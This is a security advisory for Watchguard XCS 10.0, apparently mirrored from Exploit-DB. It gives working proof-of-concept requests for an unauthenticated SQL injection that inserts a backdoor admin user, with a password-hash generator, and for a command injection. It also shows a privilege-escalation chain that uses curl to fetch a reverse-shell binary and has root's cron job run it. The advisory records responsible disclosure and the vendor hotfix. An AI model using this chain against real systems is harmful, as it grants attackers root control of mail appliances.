Watchguard XCS 10.0 – Multiple Vulnerabilities

• Exploit Database
• 31 阅读

• 作者： Security-Assessment.com
  日期： 2015-06-30
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/37440/

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  presents..
  
  Watchguard XCS Multiple Vulnerabilities
  Affected versions: Watchguard XCS <=10.0
  
  PDF:
  http://www.security-assessment.com/files/documents/advisory/Watchguard-XCS-final.pdf
  
  +-----------+
  |Description|
  +-----------+
  The Watchguard XCS virtual appliance contains a number of
  vulnerabilities, including unauthenticated SQL injection, command
  execution and privilege escalation. By combining these vulnerabilities,
  an attacker may remotely obtain root privileges on the underlying host.
  
  +------------+
  |Exploitation|
  +------------+
  ==SQL Injection==
  Unauthenticated SQL injection is possible through the “sid” cookie
  parameter in the Watchguard XCS web interface due to a PHP script that
  insecurely constructs an SQL query using that value. Stacked queries are
  possible, and allow insertion of a backdoor web interface user into the
  database. The following POC shows the insertion of a backdoor user, and
  a python snippet that can be used to construct the Watchguard XCS
  specific password hashes.
  
  [SQLi POC]
  GET /borderpost/imp/compose.php3 HTTP/1.1
  Host: [HOST]
  Cookie: sid=1%3BINSERT INTO sds_users (self, login, password, org,
  priv_level, quota, disk_usage) VALUES(99, 'backdoor',
  '0b75e2443d3c813d91ac5b91106a70ad', 0, 'server_admin', 0, 0)--
  
  
  [Python Password Hash Generator]
  import hashlib
  def gen_hash(pass_clear):
  PRE_SALT = "BorderWare "
  POST_SALT = " some other random (9) stuff"
  t1 = hashlib.md5(PRE_SALT + pass_clear + POST_SALT).hexdigest()
  t2 = hashlib.md5(pass_clear + t1).hexdigest()
  return t2
  
  print gen_hash("backdoor")
  
  
  ==Command Injection==
  The web interface of XCS contains a command injection vulnerability,
  allowing an authenticated web application user to execute system
  commands as the "nobody" user. The vulnerability is in the id parameter
  of the "mailqueue.spl" page.
  [POC]
  GET /ADMIN/mailqueue.spl?f=dnld&id=;id;uname%20-a
  Host: [HOST]
  Cookie: [VALID COOKIE]
  
  
  ==Privilege Escalation==
  Privilege Escalation
  There are multiple methods to escalate privileges to root after
  obtaining a shell. The "FixCorruptMail" script exploit is shown below,
  an additional method is detailed in the accompanying PDF.Privilege
  escalation is possible by exploiting the /usr/local/bin/FixCorruptMail
  script when it is called by root's crontab every three minutes. This
  script reads a file “badqids” from the /var/tmp directory, and
  constructs a shell command using some of the contents.
  
  [POC]
  touch /tmp/dummyfile
  /usr/local/sbin/curl -s http://[REVERSE_SHELL.elf] -o /tmp/revshell
  chmod +x /tmp/revshell
  echo "../../../../../../tmp/dummyfile;/tmp/revshell" > /var/tmp/badqids
  
  The executable "/tmp/revshell" will be executed within three minutes by
  the root user.
  
  +----------+
  | Solution |
  +----------+
  Apply the relevant XCS security hotfix (Build 150522) as provided by
  Watchguard.
  
  +-------------------+
  |Disclosure Timeline|
  +-------------------+
  12/05/2015 - Email sent to confirm vendor security contact address is valid.
  13/05/2015 - Response from vendor confirming address is valid.
  13/05/2015 - Sent advisory through to vendor.
  13/05/2015 - Vendor confirms receipt of advisory.
  27/05/2015 - Vendor sends update on fixes, states a release will be
  published shortly.
  09/06/2015 - Security hotfixes released for Watchguard XCS v10.0 and v9.2.
  29/06/2015 - Public advisory release.
  
  +-----------------------------+
  |About Security-Assessment.com|
  +-----------------------------+
  
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